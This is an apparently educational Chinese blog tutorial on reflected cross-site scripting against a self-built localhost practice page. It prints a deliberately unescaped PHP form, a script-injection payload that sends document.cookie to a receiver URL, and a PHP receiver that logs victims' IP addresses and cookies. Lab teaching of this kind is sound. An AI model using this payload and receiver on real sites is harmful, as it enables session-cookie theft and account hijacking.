XSS攻击的简单实现

xss 跨站脚本攻击（Cross Site Script）

①在慕课网跟着教学视频自己编写一个网页，用这个网页模拟有XSS漏洞的网站。

在网页源码中插入了这样一句话。

这句话的作用其实是：显示一个搜索框。将搜索框中显示的内容是你用户输入之后的内容。

通过看网站源码，我们可以知道，他让用户在显示框输入一个内容，然后就把这个内容当做显示框内容显示。

但是，该网页把用户通过GET发送过来的表单数据，未经处理直接写入返回的html流，这就是XSS漏洞所在。

也就是说，网页会将我们输入的那个网址，带入到整个html代码中再执行一遍，那么，这样的话，我们如果像sql注入一样，输入的网址中包含着命令呢？网页岂不是就把我们的命令也一起执行了吗。

②写一个黑客接受程序 xss_hacker.php

接收我们引导用户点击网页发送过来的信息，并将信息保存在本地。

把受害用户的IP地址和访问漏洞网站时使用的cookie，一起写入xss_victim.txt文件保存备用。

③使用IE浏览器访问网站

应当注意的一点是，现在的浏览器都有对xss的过滤功能，所以如果我们要实验演示的话，应该现在浏览器设置中将xss筛选器关掉。

用户使用IE11访问网站。现在网站一般都采用session+cookie来保存用户登录信息，网站通过验证cookie来确实是否是合法已登录用户，所以cookie是用户的敏感数据。

④准备攻击

我们构造一段输入内容
"/><script>window.open("http://localhost/xss_hacker.php?cookie="+document.cookie);</script><!–
只要把这个字符串作为漏洞网站文本编辑框的表单值输入提交，就会造成攻击。手工输入这个字符串，并提交。

此时，用户访问漏洞网站的html代码，被修改成了：

明显看出，这个html回去执行一个脚本，这个脚本功能是把用户的cookie发送到黑客的接收网站。

这样，我们xss_hacker.php脚本执行之后，我们本地就会生成一个xss_get.txt.

即拿到用户的cookie。

重点语句的作用：

PHP 超全局变量 $_GET 和 $_POST 用于收集表单数据。

比如一个网页，让用户输入’name’和’email’,然后发送到当前页面。那么在当前页面，用$_POST["name"]就可以直接用发送来的值。

插入的代码

 <form>  
    <input style="width:300px;"  type="text" 
    name="address1" value="<?php  echo $_GET["address1"]; ?>" />  
 
    <input type="submit" value="Submit" />  
 </form>

xss_hacker.php

<?php
$victim = 'XSS得到的 cookie:'.$_SERVER['REMOTE_ADDR'].':'.$_GET['cookie'];
echo $_GET['cookie'];
file_put_contents('xss_get.txt',$victim);
?>

XSS攻击的简单实现

猜你喜欢